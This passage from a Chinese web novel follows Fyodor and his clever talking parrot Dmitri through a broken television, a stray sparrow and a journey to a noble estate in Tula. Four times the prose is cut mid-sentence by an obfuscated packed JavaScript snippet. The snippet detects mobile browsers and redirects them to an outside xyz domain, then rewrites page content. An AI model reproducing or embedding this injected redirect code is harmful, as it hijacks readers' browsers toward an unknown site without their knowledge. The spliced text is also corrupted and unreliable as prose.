费奥多尔也不可能体罚德米特里,它还小,换算成人类的年龄,它才不到十岁,所谓的惩罚也只是不痛不痒的吓唬,而德米特里现在已经没有之前那么容易被他吓到了。 思来想去,费奥多尔想到了一个好办法,他没有直接了当地告诉德米特里他已经知道了德米特里偷偷撬电视外壳的事情,而且装作浑然不觉的样子,任由德米特里在他眼皮子底下搞破坏,假以时日,电视肯定会出故障。 等电视坏了,德米特里就会长教训了。人教人千遍不会,事教人一遍就会,如此一来,简直一劳永逸。 于是,在不用电视的时间段,费奥多尔会状似无意地扯掉电源,这是为了防止德米特里一不小心咬断电线导致触电。然后,他会尽量不出现在德米特里的视野里,这样德米特里就会趁他不在探索电视的结构。 如他所料,很快,费奥多尔就收到了德米特里的求助。 “电视,电视坏了!”德米特里急得拍起了翅膀。 “我明白了。”费奥多尔平静地说,“电视坏了,是吗?等一下,我去看看。” 在德米特里希冀的眼神中,他去到客厅,检查了一番电视,然后一本正经地说道,“等会儿,我再仔细检查一下。” 德米特里就在旁边紧张地看着他,生怕它心爱的电视就此罢工——它心心念念着它的动画片。 又过了一会儿,费奥多尔抬起头来,“发现问题了。” 德米特里立刻问道,“什么什么?” “……”费奥多尔沉吟片刻,“德米特里,你要知道,任何事物的寿命都是有限度的。” 德米特里睁大了眼,连翅膀都张开了些许,仿佛意识到了什么,一副很难以接受的样子。 “我不知道是什么加速了它的老化,按理来说,它本来还能多陪你一段时间的。”费奥多尔一脸无奈,状似惋惜地摊开了手,展示手心里那颗崭新的螺丝钉,“可现在不行了——瞧,连螺丝钉都锈掉了。它已经无法运作了。” 他也不懂电器,只是在随口编造。奈何德米特里是一只单纯的小鸟,对他的话深信不疑——它甚至不知道什么叫生锈,只是从饲养者的语气里察觉到了不妙的事情。 他叹了口气,摸了一下德米特里的头,望向地上七零八落的螺丝、电线,还有黑色的塑料电视外壳,语气温和地说道,“我知道你很难接受……但事已至此,我和你,都得和它说再见了。” 德米特里发出了悲伤的哭声,就像发现陪伴数年的小猫小狗突然去世的孩子一样悲痛,“那我还能看动画片吗?”它满怀希望地看着费奥多尔,指望着无所不能的饲养人能够给自己一个肯定的答案。 但费奥多尔却摇了摇头。德米特里没有怀疑他,而是沉默地盯着电视残骸看了半天,仿佛在进行一场无声的告别,费奥多尔在一旁看着,竟从鹦鹉的脸上瞧出了几分自责。 最终,德米特里沉默地飞进了自己的鸟窝。 过了好几个小时,费奥多尔去察看德米特里的状况时,德米特里仍然一言不发地待在自己的窝里,背对着他,只露出鲜红的尾羽,整只鸟看起来萎靡不振,仿佛经受了巨大打击。 往常,它听到了费奥多尔的脚步声,一定会飞出来跟他贴贴蹭蹭,但这次它一改常态,动都没动一下,脑袋都埋在了保暖的棉絮里,就像在自闭一样。 费奥多尔见状,不自觉地放轻了动作,往它的碗里添了一些新鲜的坚果,出于某种顾虑,他还去取了一碟子蓝莓。有了蓝莓当配餐,德米特里肯定会有食欲的。 在大人的眼里,小孩子较大的情绪起伏往往被视作不重要的东西。费奥多尔不看动画片,电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193411|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视只是这栋房子的附赠品,对他来说只是可有可无的东西,随便扔掉也无所谓。 可那对德米特里来说却有不同寻常的意义。它没有费奥多尔那么多观察世界的途径和渠道,它之所以知道这个世界上有猫,有老鼠,还有俄国以外的广袤土地,全都是因为电视。 费奥多尔本意只是想给德米特里一个教训,让它从今往后都记住,就像小鸟不能钻进壁炉,家里的电器和家具也都是不能乱咬的东西。 他没料到德米特里的反应居然这样大,反而让他有几分始料未及,表面上没什么波动,心里已经思考起了对策。 去干正事之前,费奥多尔最后回头看了鸟笼一眼,德米特里的身子还在一颤一颤,飞羽都在颤抖,就好像哭泣一样。 “……”费奥多尔在原地站了一会,就回了地下室。他坐在椅子上,屏幕上飞快地划过几行俄文,他看似心无旁骛地注视着屏幕,只过了一分钟,就无意识地开始啃指甲,等意识到自己在干什么之后,就停下来,结果忍了一会,又开始啃,以此往复,他留了一个星期的指甲又消失了。 “……”他跟自己较劲了半天,也不去看电脑屏幕了,望着自己光秃秃的指甲,站起身来,回到了客厅。 德米特里还在伤心。它好像从来没有这么伤心过,虽然费奥多尔完全理解不了它的难过,心里却还是紧了紧。 ……听说有的鸟伤心到极致就会死去。费奥多尔这么想着,轻柔地抚了下鹦鹉的后背,明显感觉到它猛的颤抖了一下。 “……”他呼出一口气,妥协似的说道,“我明天就买一台新电视。” 德米特里立刻转过头来,或许是错觉,费奥多尔好像在它喙上看到了食物碎屑,“真的吗?骗人是小狗。” 费奥多尔顿了顿,看着德米特里期盼的眼睛,想说假的,却说不出口。半晌,他才说,“真的。” 德米特里眼睛亮晶晶的,高兴地拍了下翅膀,“你保证,骗人是小狗!” “……我保证,骗人是小狗。”费奥多尔语气平淡,口齿清晰地说道,他的话顿时让德米特里安下了心。 下一刻,只见一道灰色的影子飞了出来,他感到肩上一重,偏过头就对上鹦鹉的眼睛,德米特里高兴地说道,“谢谢你,谢谢你!” 同时,德米特里还伸出一边翅膀搂了一下他的脸颊,好像在感谢他,它仰起头看他的样子,仿佛将他当做了全部。 “……”他本想回应地触碰一下鹦鹉,还没碰到对方,不知想到了什么,立刻触电般地收回了手。 这是一件好事。他看着德米特里天真的模样,冷静地收回了手。 这说明德米特里已经很依赖他了,就像所有鸟儿一样,德米特里也有很严重的雏鸟情节。它第一眼见到的人是费奥多尔,又与他朝夕相处,很难不信赖他。 他的目的已经达成了。【书】并不一定非要是一件任人掌控的死物,就算【书】变成了一只活生生的鸟儿,一只智力水平远超同类的鹦鹉……他也能用自己的方式将【书】的力量牢牢攥在手里。 . 9. chapter9 . 电视坏掉之后,德米特里是家里最伤心的人……不对,鸟。 费奥多尔平时很少用电视,伊万短暂地来坐了会儿客,没多久又走了,而聂赫留朵夫对电视的依赖程度也很低——他更多的是将时间花在纸质的书籍和报纸上,德米特里有时跟他聊起动画片,他都一概不知,还一脸疑惑地问,“什么猫,什么老鼠?是新出的书么?” 费奥多尔以为德米特里伤心了,事实上也确实是这样。但是他却错误地判断了德米特里的状态——德米特里是很喜欢看电视没错,但也绝对没到哭出来的地步。 当德米特里背对着费奥多尔,身子一抖一抖的时候,其实既没有在黯然神伤,也没有在后悔自己无意间弄坏了电视,而是在吃东西。 德米特里的脑袋里没有太多弯弯绕绕的东西,却天生就拥有一种敏锐的直觉,当费奥多尔不放心地来查看它的状态时,它正沉浸在坚果的美味中,没有提前发觉饲养者的到来。 感觉到饲养者安抚性的触摸之后,德米特里先是吓得一激灵,随后本能地将喙里衔着的果仁吐了出来,用爪子推了推棉絮,将窝里藏着的坚果藏得严严实实。 德米特里不知道自己为什么要把食物藏起来,只是下意识这么做了。事后,它也没有多加思考,总之,它钟爱的动画片又回来了,结果是完美的,这就够了。 . 新电视没多久就到了,一天上午,德米特里就在客厅里啃地毯,突然耳尖地听到了门外的脚步声,它立刻飞去找费奥多尔,很快,费奥多尔就睡眼惺忪地从卧室出来了,走到客厅时还差点摔一跤,低头一看,就发现害他险些跌倒的罪魁祸首是一截电线。 “……”费奥多尔只用了一秒就猜出了这截本应放在杂物间的电线是谁弄到这里的,一把抓住站在他头顶的德米特里,语气波澜不惊,“你从哪里搞到杂物间钥匙的?” 说着,他还捡起电线,上面都是鸟喙啃咬的痕迹,“你一天吃那么多坚果,鸟笼里也有很多树枝,都不够你磨嘴的?” 非要逮着电线这种容易触电的危险东西啃,也不知道是什么毛病。 “没有钥匙,但是只要咬一咬,门就开了。”德米特里歪着头,“坚果和树枝都不够硬。”它更喜欢啃一些硬质的东西,不然总觉得嘴痒,一定要找点什么来啃一下,才觉得舒服。 费奥多尔倒是不吃惊它喙的坚硬程度,这种鹦鹉成年后甚至能咬开夏威夷果,世界上最硬的坚果之一。他想着,回头要记得换一下杂物间的门锁,省得德米特里又进去搞破坏。 门铃响了起来,费奥多尔一边往门走,一边和德米特里说道,“我告诉过你,不要啃电线,是吧?” “是的。”德米特里老老实实地回答。 “那你为什么要啃电线?” “这是个好问题。”德米特里摇头晃脑地说道,“如果是以前的我,或许很难回答这个问题。” “哦?”费奥多尔说道,“那现在呢,你能告诉我为什么吗?” “因为我忍不住,那可是一根电线,我张开嘴刚好可以把它含进嘴里,一用力就可以将它的塑料外壳咬开,再稍微用力一点,里头的金属丝也会一起断掉,发出一种清脆的声音,就像这样——”只听嘎嘣一声,德米特里惟妙惟肖地模仿了一下,接着说道,“太棒了,世界上没有比这更好听的声音了,我是说,谁能拒绝这个?” 费奥多尔从快递员手里接过笔和纸,快速签收。快递员笑容满面,手臂上都是结实的肌肉,操着一口不太标准的俄语,“谢谢光临,祝您生活愉快,尊贵的老爷。” ——老爷。这是任何俄国人都不陌生的称呼,在俄国,老爷通常被认为是有权有地的贵族,或者富有的人,一般含有谄媚或恭维的意思。 费奥多尔付出了一笔大多数俄国人想都不敢想的钱,从黑市下单了一台新款电视,一名来自德国的前雇佣兵接下了送货的任务,否则在战争时期,根本没人能为足不出户的他送来一台电视。 以他出的那笔钱的丰厚程度,对方——那名前雇佣兵、临时快递员,会入乡随俗地称他为老爷,也是完全可以理解的行为。 在这个大多数国家都在逐渐现代化的时代,俄国依旧由落后的农奴制主导,至高无上的沙皇陛下统治着这片历史悠久的土地,而在沙皇之下,又有无数世袭的大贵族和小贵族,他们拥有着自己的领土,养尊处优的贵族老爷们当然不会亲自耕种自己名下的领地,所以就需要吃苦耐劳的农民来替代他们劳动。 费奥多尔在这个国家生活了几百年,没人比他更了解俄国的制度了。落后的农奴制将农民捆绑在贵族的土地上,农民们过着最疲惫的生活,干着最繁重的活计,却不配拥有自己的财产,偏偏因为这个制度,农民完全被束缚在地主的土地上,在人身、财产和司法上绝对受地主支配。 现行的法令将农民变为了农奴,这也是农奴制一词的由来。 在俄国的人口中,农奴占了大多数,对于这些农奴们来说,生活就是暗无天日的,他们无法获得自由民的权益,就连子孙后代都因为父母是农奴,就能提前望见身为农奴的一生。 农奴的孩子还是农奴,贵族的孩子还是贵族,在俄国,这仿佛是一条亘古不变的真理。 人与人之间的阶级已经固化了,人被分为农奴和贵族两大群体,不过他们现在所处之地阿尔泰边疆区却是个例外,因为历史原因,农奴制的根系在这里没有蔓延得太深,因此出现了一些莫斯科那边根本不可能有的新鲜事物,比如学校。 费奥多尔听见“老爷”二字,眼皮都没抬一下,让快递员把装着新电视的纸箱搬进去,就算结束了这一次购物。 德米特里目送快递员离去,直到费奥多尔合上门,它才好奇地问道,“老爷是什么?” “……”费奥多尔顿了一下,简短地回复道,“一种称呼。” 德米特里“噢”了一声,没有深究。过了一会,它又没头没尾地问道,“那个人为什么要叫你老爷?” “因为我能给他想要的,一笔钱。”费奥多尔说道。 费奥多尔重新将电视放在了矮而长的柜子上面,刚一插上电源,德米特里就迫不及待地叼着遥控器爬到沙发上——在飞行和攀爬之中,它还是更乐意选择后者。 德米特里啄了几下开机键,结果电视没有反应。 “遥控器肯定坏掉了。”德米特里信誓旦旦地说道,“我按了开关,可是电视机不听我的话。” 费奥多尔看了一眼缺乏常识的鹦鹉,找出说明书,念道,“本产品需搭配本公司生产的专用遥控器。” 在德米特里的视角下,费奥多尔仿佛未卜先知一样,从一个泡沫盒里找出了遥控器,随便按了一下,电视就亮起来了。就像德米特里对费奥多尔的印象一样,费奥多尔总是能解决它的所有问题,这次也不例外。 德米特里发出了一声欢呼,“我要看猫和老鼠!” 因为昨天电视坏了,所以德米特里错过了一集。它看着电视上的字幕,第三十二集,意识到了不对。 多亏了这部动画片,德米特里的数学水平已经堪比六七岁的人类幼崽了。它甚至能够从一数到三十,还敏锐地发觉昨天的三十一集漏看了、 “三十后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193412|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面是三十二吗?”德米特里只是有些怀疑,不能完全确定,这种它不肯定的问题往往能够从费奥多尔那里得到答案,于是它转过头看向对方,见对方正撑着头出神,就用喙顶了下对方的手心。 “……?”对方回过神来,“三十后面是三十一,三十一后面是三十二。” 德米特里继续看动画片,看到一半,它后知后觉,“那我的第三十一集呢?”紧接着开始沮丧起来,“我少看了一集,因为我昨天没有看电视。” 费奥多尔在旁边补了一刀,“这也是没办法的事。”自作孽,不可活啊。 德米特里肠子都悔青了,它自顾自的后悔了一阵,看完了今天的猫和老鼠更新,很快又被新事物吸引了注意力。 德米特里顺嘴啄了一下新遥控器的某个按钮,电视就换台了,看着屏幕里动起来的卡通形象,立刻将刚才的烦恼抛之脑后了。 是新的动画片。 这是美国出产的一部家庭动画,主角是一个小孩,动画主要讲的是一个中产阶级家庭鸡飞狗跳的日常琐事,一开场,就是主角在跟他爸抢电视看,小孩用夸张的语调说着,“Please,daddy!别看你的新闻了,我最爱的动画片就要开播了!” 费奥多尔去倒了杯水,回来就看到电视换台了,见德米特里聚精会神地盯着电视,至少一个小时内搞不出什么麻烦,就转身去地下室了。 等他几小时后回到一楼客厅,德米特里还在看电视,它以前不太会调频道,今天不知怎么的突然会了,就一直看到了现在。 费奥多尔抬头看了一眼时钟,德米特里已经看了三个小时电视了。他没有多少养孩子的经验,也觉得德米特里对电视有些过于沉迷了,哪怕是一只鸟,也不应该将这么多时间花在电视上。 于是他走了过去,正要关掉电视,德米特里却反应很快地咬住了遥控器的一端,睁大眼睛望着他,他用了些力,德米特里就咬得更紧了,还发出着急的气音,生怕他把电视关了。 费奥多尔:“……” 他与德米特里大眼瞪小眼半天,一人一鸟就像拔河似的,都不想就这么让步,他放慢了音速,为了让德米特里听清楚。 他试图跟德米特里讲道理,“听着,德米特里,不管你有多想看电视,你今天都不能再看了。吃榛子也好,啃地毯也罢,什么都行,除了看电视。你该去干点别的事了。” 德米特里还是分毫不让,它死活不松口,“呜呜”地含糊叫了两声,指望着饲养人率先松手。 “……”没办法,那就只能采取最原始的办法,比力气了。 最终结果当然是费奥多尔赢了,他看起来再弱不禁风,也是个成年人。德米特里使出了吃奶的劲儿也拗不过他,只能眼睁睁地看着费奥多尔把电视关了,眼神幽怨。 费奥多尔本以为事情就此为止了,结果过了几秒德米特里就开始模仿动画片的腔调,用带着俄式口音的英语说道,“Please,daddy!我想看电视!” 求你了,爸爸…… 这句话一钻进费奥多尔耳朵里,就让他身躯一震,仿佛全身都有虫子再爬,有种极为怪异的感觉。 “……你必须弄清楚一件事。”费奥多尔说道,“我是个人,而你是只鹦鹉,我不可能是你爸爸。” 他注视着鹦鹉的眼睛,试图以这种方法让对方听话,“所以,你不能这样叫我。明白了吗?” 德米特里根本听不进那么多,这个年龄段的鹦鹉最爱的事就是学舌,一旦学会了读音,就会铭记一生。 “爸爸爸爸爸爸!我要看电视!” . 10. chapter10 “……” 最后,德米特里还是获得了继续看电视的权利。它高兴地大叫着,“谢谢爸爸!” 为了感谢费奥多尔,它几乎要跳起来蹭对方的手,而费奥多尔敏捷地躲开了,他最近有点感冒,德米特里的羽粉会让他止不住地打喷嚏。 “如果你还想看电视,你就不要这样叫我。”费奥多尔晃了晃手里的遥控器,一副挟天子以令诸侯的姿态,“明白了吗,德米特里?” 德米特里眼巴巴地望着他,忙不迭点头。 后来几天,德米特里也确实没有再这么叫他,直到有一天,依旧是大清晨,费奥多尔被窗外淅淅沥沥的渐大雨声吵醒,隐约间听到了楼下传来鸟叫声和人声,就踩着拖鞋下楼,想要看看发生了什么。 一只被雨水浇的晕头转向的麻雀飞进了屋子里,还正好是聂赫留朵夫的房间,麻雀羽毛沾着的水珠溅到了他脸上,他才猝然惊醒。 紧接着,德米特里也闻讯而来,快速抵达现场,那只外来的麻雀一看见比它体型大得多的鹦鹉,也立刻蹦跶着躲到了角落里,对德米特里的出现表现得十分警惕。 德米特里歪着头打量着这只麻雀,试探性地“啾啾”了两声,而麻雀先是不作声,见德米特里逐渐靠近,浑身的毛都炸了起来,发出示威的声音,警告德米特里不要过来。 可是德米特里根本半点不带怕的,这里是它的家,它的地盘,这只麻雀应该怕它才对。 于是德米特里嚣张地又靠近了些,还对着麻雀大声地“啾啾”叫着,对方要是敢还嘴,它就张开翅膀吓唬对方,然后更大声地叫回去,麻雀表现得缩头缩脑,一副认怂的样子,最后的结果当然是本地鹦鹉驯服了外来麻雀。 聂赫留朵夫在一旁助威,“干得好!” 德米特里昂首挺胸,一副自满的样子,在刚收的麻雀小弟面前从容地理了理羽毛,然后就开始吹牛,“我曾经驯服一只雄鹰!” 聂赫留朵夫不疑有他,立刻鼓掌起来,“真是勇猛!” 费奥多尔闻声赶来时,见到的就是这样一副场面。 一只陌生的麻雀亦步亦趋地跟在德米特里的屁股后面,德米特里在前面平稳地走着,而麻雀却无论如何也学不会那样平静的走姿,只能蹦跶着走,当德米特里用喙咬住桌腿,硬是凭借强大的咬合力和适合攀爬的爪子结构爬上了桌面,那只麻雀也试图用喙去咬桌腿,可是却没办法像德米特里那样丝滑地爬上去,只能在下面着急地蹦蹦跳跳。 德米特里站在桌子上,探头探脑地往桌下看,似乎是在疑惑麻雀跑哪去了。下一刻,德米特里一与麻雀对上视线,麻雀就仿佛看到了救星似的“啾啾”叫了起来,德米特里也回以类似的叫声,就像在用人类听不懂的鸟类语言交流一样。 见麻雀茅塞顿开似的飞上了桌,德米特里就得意地用人话说道,“事实证明,我们攀禽才是最完美的鸟类。因为我们既会飞,也会爬!” 费奥多尔:“……”无法反驳。 聂赫留朵夫:“这么说来,好像也有些道理。” 因为一只麻雀导致的小插曲,这个家里短暂地热闹了一阵,德米特里还向费奥多尔介绍了它的新朋友,“它是附近土生土长的本地麻雀,我们之前出去散步的时候可能还碰到过它,只是没有注意到。它告诉我,它以前都是跟着它妈妈住的,就在田间小径边大树的树杈上,有一个鸟窝。” 德米特里接着说道,“不过就在昨天,它妈妈把它赶出来了,和它的几个兄弟姐妹一起。”说着,德米特里的语气带上了些微妙的怜悯,“真可怜,它好像没有爸爸。没有爸爸的鸟生是不完整的!” 麻雀听不懂德米特里在说什么,对着德米特里“啾啾”两声,等到雨停了,麻雀帮德米特里理了理羽毛,就依依不舍地离去了。 “它说它要出去捉虫子吃了。”德米特里说道,“虫子很好吃吗?” 作为一只娇生惯养的家养鹦鹉,德米特里长这么大,连普通的毛虫都没见过。 对于这个问题,两个没吃过虫子的人类一时之间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193413|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都很难回答。聂赫留朵夫摇了摇头,表示不知道,而费奥多尔则若无其事地换了个话题,直接转移了德米特里的注意力。 “吃早饭了吗?”费奥多尔对着鹦鹉招了招手,鹦鹉就立刻飞了过来,他摸了一下鹦鹉脖颈下方的位置,发现嗉囊是空的,看来是没吃。 于是费奥多尔顺理成章地带着德米特里下楼,取出一碟坚果,让它自食其力。德米特里在一旁嘎巴嘎巴地开坚果,费奥多尔刚起床,头脑不太清醒,便没有急着去工作,顺手把电视打开了。 正巧今天是俄罗斯的一个传统节日,官方频道正在播放节日相关的庆祝内容,记者笑容满脸地举着话筒,采访莫斯科街上的行人。 不知是巧合还是别的什么,记者一路上遇见的人都穿着得体,没有出现衣衫褴褛的农民。几个被采访者突然被记者叫住,都没有出现惊慌的神色,他们操着一口官腔,说的话都大差不差。先是聊了聊这个节日的悠久历史,然后再从全方位各角度称赞一番当今沙皇的优秀统治。 德米特里全部听懂了,就问,“这么多人都在夸沙皇,沙皇是很厉害的人吗?” “某种程度上,确实很厉害。”投胎很厉害,刚好投生成了叶卡捷琳娜二世唯一的儿子,又正好继承了母亲打下的江山基底。 德米特里没听出言外之意,埋头猛吃。吃到撑了,就听到费奥多尔说,“我们过几天可能要出去一趟。” 德米特里一听就支楞起来了,“去哪里?” 费奥多尔说道,“图拉州。如果不出意外的话,我们会在那里和聂赫留朵夫分别,那是他的故乡。” “我们会和玛利亚太太见面吗?”德米特里有些迫不及待,因为玛利亚太太时常给它送好吃的,又是第一个夸它可爱的人,所以德米特里对她格外喜欢,一直没有忘记她。 “会,她前两天来信说最近几天就会回来。”费奥多尔说道,“然后我们会一起去图拉州,在那位太太的庄园里借住几天,届时还可以顺便看一下那边的风景。” 11. chapter11 几天后,玛利亚太太如约而至。 当门铃响起时,德米特里仍然是家里最先注意到的,它一听到熟悉的脚步声,就知道是谁来了。 “欢迎,欢迎!”德米特里说道,“德米特里很想你!” 玛利亚太太很惊喜,隔着门回应道,“德米宝贝,我也很想你!” 其实大多数俄国人都不习惯用宝贝称呼别人,因为传统观念的束缚,玛利亚太太从来没有这样叫过聂赫留朵夫,而是直呼名字。但德米特里就不一样了,它是一只单纯的鹦鹉,表达喜爱的方式无比直白,让别人也忍不住用直白的方式回应。 就像这样。 费奥多尔打开了门,而德米特里迫不及待地飞扑了过去,玛利亚太太先是惊呼了一声,然后准确地接住了德米特里,她刚从外面回来,手心都是冰冰凉凉的,一摸到鹦鹉,就感觉好像接住了一团温暖的火。 玛利亚太太看起来和之前没有太多变化,她是天生的白发,并且不像其他俄国妇女那样习惯将头发扎起来,而是自然地披着发,她不管是对人,还是对鸟儿,都时常是笑着的,让人感到亲切,没有多少距离感。 德米特里很喜欢她,不仅是因为她给的食物,还有她像母亲一样的温暖笑容。虽然它并没有过母亲,但饲养人给它的陪伴和温情让它明白了父亲是一种怎样的存在。 父亲如此让人感到温暖,那母亲也一定是类似的存在。 德米特里对人类家庭关系的最初认知来源于自己的家。雏鸟会将第一眼看到的生物认作亲人,所以它理所当然地将费奥多尔当作了亲人。作为德米特里与世界的第一次接触,毫无疑问,费奥多尔就是德米特里最重要的人。 对于聂赫留朵夫和玛利亚太太之间的关系,德米特里就将其简单地理解成了它与费奥多尔的联系,所以它才能毫无障碍地理解聂赫留朵夫对玛利亚太太的担忧和在意,并且进行安慰。 玛利亚太太已经到了五分钟,聂赫留朵夫才姗姗来迟。 他站在二楼的楼梯上,看见母亲的第一时间就下意识加快了步伐,又出于某种顾虑慢了下来,脚步不疾不徐地来到了母亲的面前,像个小大人一样仰头看向对方,语气平稳地说道,“欢迎回来,母亲。” 玛利亚太太有些吃惊,伸手摸了摸儿子的额头,“你外祖父不在这儿,放松点。” “但我们很快就要回到外祖父家里了吧?”聂赫留朵夫嘟囔着,回忆起了小时候在外祖父庄园的种种,“到时候还是要变成这样的相处模式,如果做出不合礼数的行为,说出不符合贵族规范的话,就要挨一顿马鞭。” 玛利亚太太心疼地看着儿子,“我们只是在那边小住一段时间,你知道的,你外祖母很想念我们,她只有我一个女儿,也只有你一个外孙。还记得吗?你外祖母对你很好。” “当然。”聂赫留朵夫做出一个疼痛的微表情,“我记得外祖母那时候总是板着脸帮我涂药,马鞭打人太疼了。“ . 就在玛利亚太太回来的当天,德米特里一行人就踏上了前往图拉州的旅途——准确来说是坐车。 临走之前,德米特里很讲义气地叫来了它的小弟麻雀,叮嘱小弟,如果饿了可以吃大哥的存粮,考虑到小弟是只麻雀,开不了坚果,留下的存粮都是小米。 麻雀感动得泪眼汪汪,德米特里跟着费奥多尔一起出行时,麻雀还在后面“啾啾”叫着送别。 一行人要去坐的是玛利亚太太家里派来的车辆,因为乡间小路实在是不方便开车,再加上这几天阴雨连绵,土路都泥泞不堪。车停在修了马路的城镇边上,所以还要多走一段路才能到。 出门的时候还在下雨,雨势还不小,费奥多尔便撑了把黑伞,他今日穿了件飘逸的大衣,怕德米特里淋了雨感冒,便把鹦鹉揣在大衣里侧的口袋里,这样就不会被斜斜的雨丝飘湿了。 德米特里窝在口袋里,它听到了雨声,就没有试着出去,只是将脑袋探出一点,看着下方不断移动的地面,一开始是土黄色的小路,后面就变成了灰色的水泥路,费奥多尔走路很稳,德米特里几乎感受不到多少颠簸,走了十几分钟,德米特里都快打起瞌睡了。 玛利亚太太也打了把黑漆漆的伞,对聂赫留朵夫招了招手,两人就一起打伞往前走。玛利亚太太还很细心地帮聂赫留朵夫整了整领子,嘱咐道,“到了你外祖父家里,要注意整理仪表。” 玛利亚太太还注意到费奥多尔没有戴那顶毛绒帽子。还没出门时,她还好心地提醒了一句,“我刚从外边回来,这路上还是有些冷,或许戴个帽子保暖会好些。” “多谢。”费奥多尔说道,“不过我的帽子放在行李里了,前天伊万就帮我一块儿送去图拉州,现在应该还在路上。” “哎,我这正好有一顶帽子。”玛利亚太太找出一顶款式不同、但同样毛绒绒的帽子,比对了一下尺寸,就为费奥多尔戴上了,“你试试怎么样?路程有好几天呢,可别着凉了。” 就像玛利亚太太说的那样,路程足足有好几天。 这也是德米特里有生以来第一次出这么远的门,它和饲养人一起坐在汽车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193414|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后座看风景,因为自身高度不够,只能劳烦费奥多尔将它托举起来。 汽车行驶在公路上,也许是因为在这年头车是很贵重的东西,最近又是混乱的战争时期,路上很少碰到同样的车辆。 只有经过城市的时候,才会偶尔碰到开着警车巡逻的警察,当然,巡逻也只是例行公事,警察看到陌生的车从远处行驶过来,先是拦住车,准备盘问一番,也方便捞点油水,见到司机出示的证件后就立刻换了副嘴脸,对副驾驶的玛利亚太太点头哈腰,满脸堆笑地说道,“这位优雅的夫人,您这是要到哪里去?跟在下说一声,在下也好跟上级汇报一声,方便您在俄国畅通无阻。” 玛利亚太太见多了这样阿谀奉承的小人,没有给对方好脸色。 “不必了。你只需要做好自己的本分工作即可。”她隐晦地点了一下对方,然后挪开视线,让司机继续开车。 小插曲过后,车内没人说话,玛利亚太太就率先开启了话题,聊起了之前的事。 “我之前是坐火车去的图拉州,货运火车,上面大部分的车厢都装满了煤炭和粮草,现在大部分的火车都是军需用途,我付出了五百卢布,又告诉他们我父亲的爵位,才得到一张票。” “五百卢布?”德米特里对金钱没有概念,好奇地搭腔。 “五百卢布可以买下任何州的法院陪审官的职位,”玛利亚太太解释,见德米特里还是不太懂,她又换了个说法,“也可以换来一卡车的高档蓝莓。” “一卡车的蓝莓!”德米特里瞪大了眼睛,震惊地说道,“那真的很贵了。” 玛利亚太太见它这幅可爱的样子,忍不住伸手挠了一下德米特里的下巴,故意逗它,“换作现在,我不会用五百卢布买一张火车票了,因为不值得。但是如果用这五百卢布换来一只聪明,可爱,会说人话的小鹦鹉,我觉得很值得。” 德米特里第一时间没反应过来,过了一会儿才听懂意思,“那我爸爸怎么办?你可以再多出五百卢布,把我爸爸一起带走吗?” 聂赫留朵夫一直很安静,听到这里终于忍不住“噗”地一声笑了,然后立刻道歉,“对不起,费奥多尔先生,我不是故意的。” 费奥多尔:“……” 玛利亚太太愣了愣,也笑出了声,好不容易才忍住了笑,她擦了擦笑出来的眼泪,看向费奥多尔,促狭地说道,“德米,当你爸爸一定很有趣。” 费奥多尔:“……” 他无言以对,莫名有些不爽,捏了下德米特里的爪子,收获了对方无辜的眼神。 12. chapter12 因为路程遥远,还在途中停下休息了几晚,等真正到达图拉州,已经是好几天之后了。 玛利亚太太的娘家确实显赫,在毗邻莫斯科的图拉州也是数一数二的大贵族,费奥多尔之前做了个顺水人情,收留了聂赫留朵夫,就换来了如今的优待,在庄园大门负责迎接客人的管家态度很好,俨然是将费奥多尔当成了贵客。 费奥多尔也不卑不亢,微笑着接受了对方的礼待,让人不禁高看一眼。对于眼前所见到的大庄园,他毫不奇怪,因为从之前的很多细节都能看出玛利亚太太的优越家世。 不是所有人都能够随意送出在这个年代十分昂贵的反季节蓝莓,也不是随便哪个妇人都有非凡的胆识,敢在这样混乱的时期出远门,一定是有所依仗。 德米特里一直都待在费奥多尔身边,它从未见过这样漂亮的庄园,一直都在好奇地打量着四周的风景,都顾不上说话了。 